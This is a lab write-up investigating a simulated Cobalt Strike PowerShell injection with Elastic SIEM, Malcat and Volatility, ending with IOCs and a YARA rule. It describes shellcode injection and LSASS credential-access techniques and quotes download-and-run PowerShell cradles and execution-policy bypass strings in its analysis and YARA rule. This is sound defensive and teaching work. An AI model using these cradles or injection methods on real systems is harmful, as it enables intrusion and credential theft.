29 minute read

1.0 Introduction

The investigation revealed clear indicators of a fileless Cobalt Strike beacon, reflectively loaded via PowerShell and operating entirely in memory. This technique aligns with known EDR evasion strategies documented by Deep Instinct, where payloads are injected into memory using reflective DLL loading, leaving no artefacts on disk and effectively bypassing traditional signature-based detection mechanisms [1]

The presence of powershell.exe within memory, without a corresponding file on disk, supports this, as does the use of -encodedCommand to deliver obfuscated payloads a common staging method used by attackers to evade endpoint monitoring tools. According to Pentera, such zero-footprint attacks follow a clear pattern of reflective loading, dependency redirection, and dynamic execution to avoid detection by userland monitoring [2]

Furthermore, the sample’s use of Windows APIs such as VirtualAlloc, VirtualProtect, WriteProcessMemory, and CreateRemoteThread mirrors behaviour observed in other EDR-bypass-enabled malware, where attackers circumvent API hooking by unhooking or restoring clean versions of system libraries like ntdll.dll [1] [3] [6]. These methods are designed to evade behavioural monitoring engines that rely on inline API hooks for detection.

Privilege escalation was also evident in the binary’s use of AdjustTokenPrivileges and enabling of SeDebugPrivilege, which are often prerequisites for accessing protected processes such as LSASS. This corresponds with documented techniques where attackers target LSASS memory to extract credentials, sometimes using forking or process cloning approaches to avoid detection[1] [4] [5]. Lastly, the extracted binary was structurally examined using Malcat and found to contain anomalous sections, obfuscated strings, and elevated entropy levels characteristics consistent with known in-memory payloads [7][8]. These findings were further validated using dynamic analysis, which demonstrated PowerShell spawning, delayed execution, and C2 communication with 192.168.135.57, behaviourally consistent with a staged or stageless beacon.

These observations collectively reinforce the conclusion that the host was compromised using a stealthy, fileless Cobalt Strike loader, employing well-documented EDR bypass techniques including reflective loading, AMSI bypass, API unhooking, and memory-only privilege escalation as outlined by sources such as Deep Instinct, Pentera, Volexity, and Advania [9][10]

1.1 Lab Setups

This lab simulates a targeted attack against a Windows 10 victim machine, with Cobalt Strike hosted on an Ubuntu attacker machine. Memory acquisition is performed using FTK Imager. The analysis environment includes an Ubuntu analyst machine running Volatility 3 for memory forensics, and a Kali Purple server equipped with Elastic SIEM, Winlogbeat, Auditbeat, XDR, and Fleet to monitor and investigate security events across the environment. This setup enables end-to-end detection and forensic investigation of in-memory threats.

Victim Machine

  • Operating System: Windows 10
  • IP Address: 192.168.135.13
  • Tools Installed:

    • FTK Imager — used to capture a memory dump of the system for forensic analysis.

Attacker Machine

  • Operating System: Ubuntu 22.04 LTS
  • IP Address: 192.168.135.57
  • Tools Used:

    • Cobalt Strike — for simulating a realistic command and control (C2) attack scenario.
    • Updog — lightweight file server used to host and deliver malicious payloads.

Analyst Machine

  • Operating System: Ubuntu 22.04 LTS
  • Tools Used:

    • Volatility 3 — for performing memory forensics on captured dumps.
    • Malcat — for lightweight static analysis, disassembly, and extracting C2 information from suspicious binaries.
    • Visual Studio Code — used for writing Python scripts to decode Base64 payloads and save them as .bin files for further analysis.

Server & SIEM Infrastructure

  • Interfaces:

    • eth0: 192.168.135.22
  • Operating System: Kali Purple OS
  • Security Stack:

    • Elastic SIEM
    • Winlogbeat, Auditbeat — for forwarding Windows event and audit logs.
    • Elastic XDR & Fleet Server — for managing agents and visualising collected data.

1.2 Lab Scenarios

The lab consists of a simulated environment where Cobalt Strike was used to inject PowerShell into memory. This initial injection triggered several alerts. By examining the SIEM logs, it was identified that PowerShell had attempted to dump the LSASS process. This finding prompted a full memory analysis of the affected system.

1.3 SEIM Alert

image

Alert Dashboard

image1

Alert type

Summary of the alert

On 12 July 2025, the host desktop-4dadb8u generated multiple security alerts indicating suspicious activity. Around 11:55 to 11:57, a PowerShell script named powershell_x64.ps1 was detected running potentially malicious hacktool functions, using PSReflect to invoke Windows APIs directly, and showing signs of process injection attempts. Later, between 15:35 and 15:37, the process rundll32.exe was flagged for suspicious access to the LSASS process via Windows API calls, which could indicate an attempt to dump credentials. Overall, the sequence of events suggests possible credential theft and in-memory attack techniques that warrant immediate investigation and containment.

2.0 Investigation

2.1 Using The Five Why Model

The Five Whys is a simple but powerful method for finding the root cause of a problem. By asking “why?” repeatedly often around five times it helps trace an issue back beyond its symptoms to the underlying cause. This approach does not rely on complex analysis and is highly effective for most operational or incident investigations. It works best for problems that are simple to moderately complex, and is especially useful when human factors are involved. For more complicated cases, it can be combined with other techniques. To use it, start with a clear problem statement. Then keep asking “why” for each answer you get, digging deeper until you uncover the real cause. Always base your answers on facts and data, and focus on improving the process rather than blaming people. here is simple sample,

2881e436-c9a9-4f3c-bdca-f9320a5c4732

This technique was developed by Sakichi Toyoda and became a core part of Toyota’s quality management. It remains widely used today alongside principles like kaizen and jidoka, helping teams fix problems at their source. [citation]

2.2 Potential Process Injection via PowerShell

Applying a simple form of the “Five Why” approach to trace cause and significance, focused only on relevant technical aspects of the alert.

  1. What happened? An Elastic SIEM detection rule triggered a high severity alert on the Windows 10 endpoint DESKTOP-4DADB8U after identifying suspicious PowerShell activity. The alert indicated potential process injection via PowerShell, linked to a script named powershell_x64.ps1 located in the user’s Downloads folder. This activity matched known MITRE ATT&CK techniques, specifically T1055 for process injection (covering both DLL and PE injection) and T1059.001 for PowerShell execution, along with evidence of native API execution (T1106). As a result, the security platform assigned it a risk score of 73, flagging it as a likely malicious event requiring investigation.

image2

  1. Why was it detected?

The detection occurred because the executed PowerShell script contained multiple API function calls that are commonly abused to perform in-memory execution and process injection. The script allocated memory using VirtualAlloc, copied an XOR-decoded shellcode payload into this memory, resolved necessary function pointers, and ultimately executed the payload by invoking a delegate.

image3

These are typical techniques used to bypass on-disk detection, and the SIEM rule is designed to identify such PowerShell scripts that directly leverage Windows APIs associated with in-memory code execution.

3. Why did the script run on this endpoint?

The script was executed under the context of the local user windows10, who appeared to have downloaded the file and run it from their Downloads directory. Windows Event ID 4104 confirmed that PowerShell processed this script block. Although it is not immediately clear from the available data whether the user knowingly ran this script or whether it was executed through social engineering or an automated payload delivery mechanism, the presence of the script in the user’s Downloads folder strongly suggests it was either manually or inadvertently executed on the system.

4. Why is this a concern?

This is a significant concern because process injection via PowerShell enables an attacker to execute arbitrary code within the memory space of legitimate processes, thereby avoiding detection by traditional file-based antivirus solutions. It also provides an effective mechanism for stealthy command and control, credential theft, or lateral movement within the network. The fact that the PowerShell script implemented classic shellcode injection patterns highlights a deliberate attempt to bypass security controls and maintain persistence or escalate an attack.

  1. Why did it reach this point (root cause)?

This event triggered due to a combination of factors, including a lack of strict PowerShell execution policies such as Constrained Language Mode, the absence of robust application control solutions like AppLocker or Windows Defender Application Control to prevent unauthorised script execution, and potentially inadequate user awareness or endpoint controls to block downloads of suspicious files. As a result, a script that employs known offensive security and malware techniques was able to execute on the host, triggering the detection only after it attempted to perform process injection.

3.0 LSASS Process Access via Windows API

Detection logic (rule analysis)

The detection was triggered by the Elastic Security (SIEM) rule named:

LSASS Process Access via Windows API

Rule details:

  • Rule type: EQL (Event Query Language)
  • Data source: logs-endpoint.events.api-*, logs-m365_defender.event-*
  • Key query:

      api where host.os.type == "windows" and
        process.Ext.api.name in ("OpenProcess", "OpenThread") and
        Target.process.name : "lsass.exe" and
        not ( <long exclusion list> )
        
    
  • Purpose: Detects any Windows API call OpenProcess or OpenThread specifically targeting the lsass.exe process, which is the Local Security Authority Subsystem Service that holds credentials in memory.
  • Mapped MITRE ATT&CK:
    • T1003.001 - OS Credential Dumping: LSASS Memory
    • T1106 - Native API
    • TA0006 - Credential Access
    • TA0002 - Execution
  • Severity: Medium
  • Risk score: 47

It also checks that the access is not from a list of known safe tools (AV agents, patch managers, trusted monitoring), nor from an unsigned executable that would otherwise be suspicious.

3.1 Why did it trigger?

The event that caused the alert

  • Host: DESKTOP-4DADB8U (Windows 10 Pro N 22H2)
  • Process: C:\Windows\System32\rundll32.exe
  • API call: OpenProcess
  • Target: lsass.exe (PID 732)
  • Access requested: PROCESS_ALL_ACCESS (2097151) including rights like DELETE, WRITE_DAC, WRITE_OWNER, READ_CONTROL.

This means rundll32.exe attempted to open a handle to the lsass.exe process requesting full rights, which is typical for memory dumping.

3.2 The Five Whys

3.2.1 Why did this detection rule fire?

Because the Elastic endpoint agent observed an API event on this Windows system where rundll32.exe invoked the OpenProcess function to obtain a handle to the lsass.exe process. The access rights requested (PROCESS_ALL_ACCESS) indicate an attempt to read or manipulate LSASS memory, which matches the detection query exactly.

image5

3.2.2 Why does this behaviour raise a security concern?

Accessing lsass.exe with such privileges is a hallmark of credential dumping attacks. LSASS holds NTLM hashes, Kerberos tickets and sometimes plaintext passwords. Attackers or post-exploitation frameworks (like Mimikatz) routinely open LSASS with PROCESS_ALL_ACCESS to extract these credentials. Although legitimate security tools also inspect LSASS, they are usually signed, well-known, and explicitly excluded by this rule. Here, rundll32.exe is not explicitly whitelisted for this behaviour, so it becomes suspect.

image6

3.2.3 Why was rundll32.exe trying to open LSASS?

rundll32.exe is a legitimate Windows utility for running DLL functions. However, attackers frequently abuse it to load malicious DLLs or inline shellcode because it blends in with normal system processes and is signed by Microsoft. This case suggests that either:

  • A legitimate admin / security tool misconfigured to use rundll32.exe for LSASS access, or
  • A malicious DLL was loaded into rundll32.exe to dump credentials stealthily. The requested rights (PROCESS_ALL_ACCESS) and target (lsass.exe) strongly imply credential harvesting intent.

image7

3.2.4 Why didn’t existing controls block or stop this?

The detection rule did catch it, but it was after the API call was made — this is a detection, not a prevention. Windows Defender Credential Guard (or similar) may not have been enabled, which would have prevented LSASS from granting such access. Also, Application Control (like WDAC or AppLocker) may not have been configured to restrict misuse of rundll32.exe. This left the system exposed to living-off-the-land binaries (LOLBins) abuse.

3.2.5 Why is this critical in the context of MITRE ATT&CK?

Because it aligns directly with techniques T1003.001 (LSASS Memory credential dumping) and T1106 (Native API). Gaining access to LSASS is a pivotal step for attackers — once they extract credentials, they can escalate privileges or move laterally to compromise other systems in the network. This is why defenders closely monitor any suspicious process opening LSASS with high privileges.

image8

3.3 Conclusion

The Elastic detection engine generated this alert after rundll32.exe on host DESKTOP-4DADB8U called the Windows API OpenProcess with PROCESS_ALL_ACCESS to the lsass.exe process. This behaviour strongly indicate credential dumping activity as described in MITRE ATT&CK T1003.001. The rule explicitly monitors API events targeting lsass.exe with suspicious access levels.

4.0 Analysing the powershell_x64.ps1

The script starts by enforcing strict PowerShell rules using Set-StrictMode -Version 2, which means it will stop if there are undeclared variables or syntax issues, helping catch script errors early.

It defines a function called func_get_proc_address. This function accepts the name of a DLL (like kernel32.dll) and a function name (like VirtualAlloc). It uses .NET reflection to dig into the loaded assemblies, find System.dll, and from there, uses the internal Microsoft.Win32.UnsafeNativeMethods class. This allows it to indirectly call the unmanaged Windows API function GetProcAddress, which retrieves the memory address of a function exported by a loaded DLL. In addition, this function gives the script a way to dynamically look up where Windows keeps core API functions in memory.

Furthermore, it defines func_get_delegate_type, which builds a custom .NET delegate type in memory. It takes a list of parameter types and an optional return type. It does this by using the Reflection.Emit API to define a new delegate class entirely at runtime. This dynamic delegate will be used to call unmanaged code from within the PowerShell environment, acting like a type-safe function pointer.

After defining these helpers, the script checks whether the operating system is 64-bit by comparing [IntPtr]::Size to 8. If so, it continues by decoding a Base64-encoded blob into a byte array called $var_code. This is typically shellcode (machine instructions) that will be executed later.

image4

It then loops over each byte in $var_code and XORs it with 35 (hex 0x23). This is a simple obfuscation technique to hide the shellcode from basic static analysis or antivirus scanning.

The script then uses the func_get_proc_address function to find the address of VirtualAlloc inside kernel32.dll, which is a Windows API function used to allocate memory. Using func_get_delegate_type, it builds a delegate matching VirtualAlloc’s signature so it can call it from PowerShell. It then invokes VirtualAlloc to allocate a memory buffer that is marked as executable (0x40 is PAGE_EXECUTE_READWRITE).

After allocating the memory, it copies the decoded shellcode into this allocated region using Marshal.Copy. Finally, it creates another delegate matching the signature of a function that takes a single IntPtr parameter and returns void, pointing directly to the start of the shellcode in memory, and calls Invoke on this delegate. This causes the shellcode to execute inside the PowerShell process. Essentially, this script dynamically resolves Windows API functions, builds appropriate function pointers in .NET, allocates memory, copies malicious machine code into that memory, and then executes it, all from within a PowerShell process without touching disk again.

4.1 Decoding the Powershell_64 content from SEIM

The script starts by enforcing strict PowerShell rules to catch common coding mistakes. It defines a function to get the memory address of a Windows API function using GetProcAddress. Another function creates a custom delegate type, allowing unmanaged function pointers to be executed from PowerShell. If the system is 64-bit, it runs the rest of the code. It decodes a base64 string into a byte array, which is XOR-decrypted using the value 35. It uses VirtualAlloc to allocate memory with execute permissions. The decrypted code is copied into that memory. Finally, it jumps to the memory region and runs the code as if it were a normal function.

image9

4.2 Decoding the base64

import base64

encoded_data = "base64here"
# Decode from base64
decoded_bytes = base64.b64decode(encoded_data)

# XOR each byte with 35
decoded_shellcode = bytearray()
for b in decoded_bytes:
    decoded_shellcode.append(b ^ 35)

# Print hex output to see what it is
print("Decoded bytes (hex):")
print(decoded_shellcode.hex())

# Also write to a binary file
with open("hidden_payload.bin", "wb") as f:
    f.write(decoded_shellcode)

print("Written to hidden_payload.bin")

This Python script is designed to reverse a basic obfuscation technique. It begins by importing the base64 module so it can decode data that has been encoded using base64. The encoded string, which likely contains shellcode, is stored in the variable encoded_data. The script decodes this base64 string into raw bytes.

image10

Once decoded, it applies an XOR operation using the number 35 to each byte. This step reverses a simple encryption method where each original byte was previously XOR’d with 35 to hide its true value. The script collects the resulting bytes in a variable called decoded_shellcode.

It then prints the decoded shellcode in hexadecimal form so the analyst can visually inspect the contents. After that, the decoded binary data is written to a file called hidden_payload.dll, which can be used for further analysis, such as running it in a sandbox, disassembling it, or scanning it with antivirus and memory forensics tools, In this case we will be using Malcat

5.0 Malcat Analysis

While many disassembler tools are available, Malcat provides a more reasonable balance between reverse engineering difficulty and the need to understand the malware and extract C2 IoCs, while still offering disassembly features.

Especially if you’re just starting to build malware analysis skills, it’s important to use what works for you in this case, the researcher preferred Malcat, which is completely free.

image11

During the analysis, the file showed many signs that it’s designed to hide what it really does. It had lots of repeated, unnecessary loops (KornLoop).

image12

and used memory tricks like creating arrays on the stack and filling them during runtime (StackArrayInitialisationX64).

image13

These are common in tools that decode or run something else in memory, often without writing it to disk.

There were also many constant values and unusually large numbers hardcoded in the code (ManyUniqueImmediateBytes and ManyHighValueImmediates), which are often used to help decrypt something or confuse analysts.

image14

The code itself was messy, with complicated jumps and logic paths (SpaghettiFunction), although a few parts were straightforward and might help set up the main payload (SequentialFunction).

The tool also pointed out that some functions looped in a way that cross-referenced other areas of the program (HighXrefLoopingFunction), which can be a sign of scanning or memory searching. It uses known Windows functions like LoadLibrary and GetProcAddress (PossiblePackerApiDownloaderImport), but instead of listing them normally, it hides them by turning their names into hashes and comparing them (ImportByHash).

image15

That makes it harder for antivirus tools to spot what’s going on.

It also uses Windows functions to download files from the internet (DownloaderApiUsage), and crypto functions to encrypt or decrypt something while it runs (CryptoApiUsage). Some parts of the file build DLL names and strings only while the program is running (DynamicDllString and DynamicString), and others are encoded in base64 (StringBase64), which is often used to hide commands, payloads, or connection details. All of this suggests the file was built to hide its true purpose, likely to decrypt and run a Cobalt Strike beacon in memory.

6.0 Analysing the Windows API functions

Analysing each of this Windows API functions will takes time, so we will only look at the ones that are relevant.

This is very strong evidence that the binary is a Cobalt Strike Beacon or a loader for one. The presence of beacon_config_xor_2e alone stands out, as it matches known patterns of Cobalt Strike’s configuration format. Combined with API hashing, use of cryptography, and stealthy runtime techniques like PEB access, it confirms this is likely a malicious Cobalt Strike implant.

image16

API Function Capability Category
GetProcAddress Resolve API address at runtime API Resolution
LoadLibraryA Dynamically load libraries API Resolution
CreateRemoteThread Remote thread execution Process Injection
VirtualAlloc Allocate memory in remote/local process Memory Allocation
VirtualProtect Change memory protection Memory Allocation
WriteProcessMemory Write shellcode or data into memory Memory Write
OpenProcess Obtain handle to a process Process Access
NtCreateThreadEx Thread creation (stealthy) Thread Execution
InternetOpenA Initiate outbound connection Networking
InternetReadFile Read response from C2 server Networking
HttpSendRequestA Send HTTP data to C2 Networking
WinHttpSendRequest Send HTTP data using WinHTTP Networking
CreateFileA Create new or access existing file File Operation
ReadFile Read contents of a file File Operation
WriteFile Write data to a file File Operation
DeleteFileA Delete file from disk File Operation
GetUserNameA Get current user name System Info
GetComputerNameA Get local computer name System Info
GetCurrentProcess Obtain current process handle System Info
GetTokenInformation Query information from token Token Manipulation
OpenProcessToken Access token of a process Token Manipulation
AdjustTokenPrivileges Enable/disable privileges Privilege Escalation
ImpersonateLoggedOnUser Impersonate another user Privilege Escalation
Sleep Delay execution Anti-Analysis
WaitForSingleObject Synchronise threads/processes Thread Control
GetModuleHandleA Get module base address API Resolution

6.1 NtMapViewOfSection

This is commonly used to inject code into another process by mapping a view of a section object into the address space of a target process. It’s often seen in fileless malware and process hollowing.

6.2 CreateToolhelp32Snapshot and Process32Next

These are used together to enumerate running processes. Malware often uses these APIs to locate a specific process, such as lsass.exe, for credential dumping or to find a parent process for injection.

image17

6.3 AdjustTokenPrivileges and SeDebugPrivilege

6.3.1 Windows Privileges Commonly Abused by Cobalt Strike Beacons

This clearly signals that the listed privileges are those typically requested or leveraged by Cobalt Strike payloads during post-exploitation, especially for token manipulation, process injection, or privilege escalation. These are used to grant the process higher privileges, especially to access or manipulate other processes. Malware enabling SeDebugPrivilege, SeImpersonatePrivilege, SeTcbPrivilege, SeBackupPrivilege, SeLoadDriverPrivilegeis likely preparing to dump credentials via lsass or perform injection. here are the few

No. Privilege Description
1 SeDebugPrivilege Allows a process to debug and access any process, including those running as SYSTEM.
2 SeImpersonatePrivilege Enables a process to impersonate any user without authentication.
3 SeAssignPrimaryTokenPrivilege Allows assigning a primary token to a process, used in privilege escalation.
4 SeLoadDriverPrivilege Permits loading and unloading device drivers.
5 SeBackupPrivilege Allows reading any file regardless of permissions, used for file theft or shadow copy access.
6 SeRestorePrivilege Enables writing to any file regardless of permissions, often used to tamper with protected files.
7 SeCreateTokenPrivilege Allows creating a security token, used for forging tokens.
8 SeTcbPrivilege Trusted Computing Base - gives wide system privileges, equivalent to SYSTEM access.
9 SeManageVolumePrivilege Enables managing and dismounting volumes, can be used to hide activity.
10 SeTakeOwnershipPrivilege Allows taking ownership of objects (files, registry keys), bypassing ACLs.
11 SeChangeNotifyPrivilege Permits receiving file system change notifications; often abused for stealth.
12 SeIncreaseQuotaPrivilege Allows increasing quotas, which may support token abuse or spawning processes.
13 SeRelabelPrivilege Used to modify object labels in Mandatory Integrity Control (MIC).
14 SeShutdownPrivilege Enables system shutdown or restart.
15 SeSystemtimePrivilege Permits changing the system time.
16 SeUndockPrivilege Allows removal of a system from a docking station.

image18

6.4 VirtualAlloc and VirtualProtect

These allocate and change memory permissions in the process’s address space. Attackers use them to prepare memory for injecting and running shellcode.

6.4.1 VirtualAlloc

The program compares a 32-bit hash (0x91AFCA54) against values pushed on the stack. This hash matches the API VirtualAlloc, which is a Windows function used to allocate memory in a process. In the context of malware, VirtualAlloc is usually used to create a space in memory where decoded or decrypted shellcode will be written before it is executed.

So in this flow, when the comparison matches VirtualAlloc, the program retrieves the function pointer using a custom hashing logic and saves it for later use — likely when the shellcode will be loaded.

image19

6.4.2 VirtualProtect

Similarly, it compares another hash (0x7946C61B) which resolves to VirtualProtect. This function is used to change memory protection on a region, for example, from non-executable to executable. Malware uses this after writing shellcode to memory, so it can then execute it without raising suspicion from modern defences like DEP (Data Execution Prevention).

image20

6.5 InternetReadFile

This is a network API used to download data from the internet. It’s often part of the second-stage delivery mechanism or used to fetch C2 commands or payloads.

6.6 DownloadUsingpowershell

This isn’t a standard API but likely refers to PowerShell commands or strings used to download content, such as Invoke-WebRequest or IEX(New-Object Net.WebClient).DownloadString(). These are common in LOLBins and script-based malware.

A suspicious PowerShell command is embedded:

  • IEX (New-Object Net.WebClient).DownloadString('-')
  • This is a known pattern for downloading and executing code from the web, and is heavily used by Cobalt Strike and similar tools. http://127.0.0.1/u this is often used for testing during development, or as a placeholder. Strings like nop -exec bypass -EncodedCommand Attempts to obfuscate PowerShell payloads via base64 encoding and bypass command execution restrictions.

7.0 Analysing the MemoryDump

While the alert in the SIEM outlines possible scripts and behaviours associated with this malware, it is also evident that the malware has been loaded into memory. This strongly suggests there may be additional binaries or DLLs actively running in memory. To investigate further, we have acquired a memory dump using FTK Imager. The analysis of this dump is ongoing and will help identify any additional components or malicious activity residing in memory.

Note:

This section does not include details on how to operate the Volatility framework itself. For convenience, we have adjusted our environment so that running:

Vol <plugin>

is equivalent to executing:

python3 ./vol.py -f Cobaltstrike.mem <plugin>

For example, running:

Vol windows.pslist

will execute the same as:

python3 ./vol.py -f Cobaltstrike.mem windows.pslist

This setup streamlines the analysis process by removing the need to repeatedly specify the memory file and script path.

7.1 windows.pslist

Get a baseline list of running processes.

The output from windows.pslist appears complex, with numerous running processes. At this stage, it is not possible to pinpoint which process might be malicious purely by inspecting the list.

image21

7.2 windows.pstree.PsTree

Visualise parent-child relationships, often shows suspicious injection.

The initial alert from the SIEM indicated the presence of powershell_x64.ps1. Using windows.pstree.PsTree, we can observe that the device DESKTOP-4DADB8U is currently running PowerShell. Given that the original PowerShell script was detected in the Downloads directory by the SIEM alert, it is reasonable to assume that the running powershell.exe process with PID 14484 is responsible for executing the initial payload.

image22

7.3 windows.envars.Envars

The presence of PSExecutionPolicyPreference=Bypass is a clear red flag. This setting disables PowerShell’s script execution restrictions, allowing unsigned or potentially malicious scripts to run without warning. Attackers, including Cobalt Strike operators, often set this to bypass defensive controls and execute payloads silently

image23

7.4 Analysis of Suspicious Memory Region

Why malfind Is Especially Valuable?

When investigating memory images, one of the biggest challenges is pinpointing where the malware resides, especially in cases where:

  • The malicious process is a legitimate system process (e.g. powershell.exe, svchost.exe, explorer.exe)
  • The attacker has used process injection, reflective DLL loading, or code hollowing
  • Plugins like pslist, pstree, or psscan show no obvious anomalies the process tree appears normal, and the process name does not raise any suspicion

In such cases, Volatility3’s windows.malfind plugin becomes crucial. Rather than relying on process names or hierarchy, malfind inspects the memory regions of all processes, looking for:

  • Executable (PAGE_EXECUTE_READWRITE) memory that is also private (not backed by a file)
  • Sections that are often used for code injection or shellcode execution
  • Raw disassembly output and byte patterns that may signal obfuscated payloads or packing artefacts

This allows the analyst to:

  • Detect injected payloads even when the parent process looks legitimate
  • Discover in-memory implants that are not visible via normal process enumeration
  • Focus deeper analysis (e.g. memory dumps, YARA scans) on suspicious memory regions, not just processes

In our case, runining malfind produced multiple suspicious memory regions within powershell.exe (PID 14484), as seen in the screenshot. Two memory segments are of particular interest:

image26

Vol windows.malfind.Malfind

Observations:

  • Process: powershell.exe
  • PID: 14484
  • Memory Protection: PAGE_EXECUTE_READWRITE
  • PrivateMemory: 73 and 86 respectively
  • Disassembly: Shows repeated add byte ptr [rax], al — a common pattern for shellcode padding or overwritten memory.

Why This Is Suspicious:

  • PAGE_EXECUTE_READWRITE is highly abnormal for legitimate memory regions. This combination allows the memory to be both written to and executed — a classic sign of shellcode injection or process hollowing.

  • Disassembly Output: The pattern of add byte ptr [rax], al is often observed in:

    • NOP sleds or dummy instructions
    • Uninitialised or overwritten shellcode regions
    • Attempts to bypass static detection by inserting filler bytes
  • Private Memory: Indicates the memory is not mapped to a file on disk, again suggesting this is runtime-injected code.

7.5 windows.netscan

The windows.netscan plugin scans a Windows memory image for network socket objects. It identifies both TCP and UDP connections, showing local and remote IP addresses, ports, connection states, and the process ID responsible. This helps analysts detect suspicious or hidden network activity, such as Cobalt Strike beacons or reverse shells. It is particularly useful for identifying active or recently closed connections from unusual processes like powershell.exe

In this output, we can see that PowerShell (running on 192.168.135.13) attempted a connection to 192.168.135.57 on port 80, which is identified as the Cobalt Strike C2 server. Although the connection is currently closed, it raises the question: why was PowerShell communicating with this external IP at all?

image24

7.6 windows.dumpfiles.DumpFiles

The windows.dumpfiles.DumpFiles plugin is used to extract file-like objects from memory. In this case, the analyst is dumping a suspicious memory region (0x12df4f10000) from the powershell.exe process using the command:

vol windows.dumpfiles.DumpFiles --pid 14484 --virtaddr 0x12df4f10000

This memory region was previously flagged by malfind as having PAGE_EXECUTE_READWRITE permissions, which is commonly associated with code injection. By dumping it, the analyst can examine the contents further such as checking for embedded PE headers, strings, or signs of a Cobalt Strike beacon. This is a key step in investigating in-memory malware that does not touch disk.

image25

Subsequent memory dump analysis revealed an embedded binary resembling powershell.exe, likely reflectively loaded or injected, consistent with known Cobalt Strike loader techniques.

The combination of:

  • network evidence (outbound PowerShell connection to the C2),
  • and memory artefacts (presence of an in-memory powershell.exe binary)

confirms that the host is compromised and running a fileless or in-memory beacon.

Further structural analysis of the extracted binary was conducted using Malcat, validating the presence of suspicious sections and characteristics typically associated with obfuscated implants.

We opted not to dump the PowerShell process itself, as prior indicators confirmed it to be associated with Cobalt Strike. This assessment is supported by network telemetry showing that the PowerShell process (PID 6804) established a connection to a known attacker-controlled host at 192.168.135.57:80.

8.0 Dynamic Analysis Result

image27

8.1 C2

image28

8.2 Virus Total

image29

Link to VirusTotal

8.3 Cobalt Strike Beacon Configuration Analysis

The beacon uses HTTP to communicate with its C2 server at 192.168.135.57, accessing /pixel.gif and posting to /submit.php. It sleeps for 60 seconds between callbacks with no jitter and allows up to 1MB of data per GET request. The beacon uses rundll32.exe as the spawn process for both x86 and x64, with no shellcode prepend or append.

Process injection is enabled using VirtualAllocEx and standard Windows APIs such as CreateThread, SetThreadContext, CreateRemoteThread, and RtlCreateUserThread. RWX memory is used during allocation and execution. Proxy settings follow the system (IE), but no authentication details are set. Cookies are used in C2 traffic. The beacon has no kill date and does not clean up staging artefacts. A static watermark value of 987654321 is present, and no DNS or SSH features are configured.

9.0 Conclusion

The investigation confirmed that the host was compromised by a fileless, in-memory Cobalt Strike beacon delivered via PowerShell. Lab monitoring showed the PowerShell process (PID 6804) establishing outbound connections to a known attacker-controlled IP, 192.168.135.57:80. Memory dump analysis revealed a reflectively loaded binary resembling powershell.exe, consistent with Cobalt Strike loader behaviour. Decoded base64 strings embedded in the payload exposed PowerShell command chains using IEX and Net.WebClient to fetch additional stagers. Further analysis with Malcat revealed obfuscated strings, suspicious sections, and high entropy, supporting the presence of a malicious implant. The sample made use of Windows API functions such as VirtualAlloc, VirtualProtect, AdjustTokenPrivileges, and SeDebugPrivilege, indicating memory injection and privilege escalation activity.

Indicators of access to the lsass process via OpenProcess and ReadProcessMemory suggest potential credential theft. Dynamic analysis confirmed network callbacks, use of PowerShell as a loader, and in-memory execution of additional payloads. Collectively, the network telemetry, memory artefacts, decoded payloads, and API usage confirm a Cobalt Strike intrusion using reflective process injection and PowerShell-based delivery.

9.1 Root Cause Analysis (Five Whys)

To better understand how this fileless attack succeeded, the Five Whys technique was applied:

  1. Why was a fileless Cobalt Strike beacon running in memory? Because a PowerShell script (powershell_64.ps1) executed a reflectively loaded payload.

  2. Why was the script able to execute? Because it was launched from the user’s Downloads directory via powershell.exe, indicating the file was manually downloaded and executed.

  3. Why did the user download and run the script? Likely due to social engineering or misleading context that made the script appear safe or necessary.

  4. Why wasn’t the script blocked by endpoint protection? Because although it triggered an alert, the endpoint protection was operating in detection-only mode or lacked automated blocking, allowing execution to proceed.

  5. Why were such evasion techniques effective? Because controls such as PowerShell script logging, AMSI integration, or application control policies were either misconfigured, outdated, or not enforced, reducing visibility and prevention capabilities.

9.1 IOCs

192[.]168[.]135[.]57

41116eaf116e0aa23a281d271f8b6056b0004de809e0ca9b639a5eaf4766d355

9.2 Yara


rule WiltedTulip_ReflectiveLoader {
   meta:
      description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "http://www.clearskysec.com/tulip"
      date = "2017-07-23"
      hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
      hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
      hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
      hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
      hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
      id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
   strings:
      $x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
      $x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
      $x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
      $x4 = "Failed to impersonate token from %d (%u)" fullword ascii
      $x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
      $x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them ) or
      ( 2 of them ) or
      pe.exports("_ReflectiveLoader@4")
}

9.3 References

[1] Deep Instinct – EDR Bypass Techniques and How to Stop Them
https://www.deepinstinct.com/blog/edr-bypass-techniques-and-how-to-stop-them
Accessed: 20 July 2025

[2] Pentera – Zero Footprint Attacks: 3 Steps to Bypass EDR with Reflective Loading
https://pentera.io/blog/zero-footprint-attacks-3-steps-to-bypass-edr-with-reflective-loading/
Accessed: 20 July 2025

[3] Advania – A Practical Guide to Bypassing Userland API Hooking
https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
Accessed: 20 July 2025

[4] Deep Instinct – Evading Antivirus Detection with Inline Hooks
https://www.deepinstinct.com/blog/evading-antivirus-detection-with-inline-hooks
Accessed: 20 July 2025

[5] Orange Cyberdefense – Bypassing EDR to Dump LSA Secrets
https://www.orangecyberdefense.com/global/blog/cybersecurity/bypassing-edr-to-dump-lsa-secrets
Accessed: 20 July 2025

[6] Volexity – Using Memory Analysis to Detect EDR-Nullifying Malware
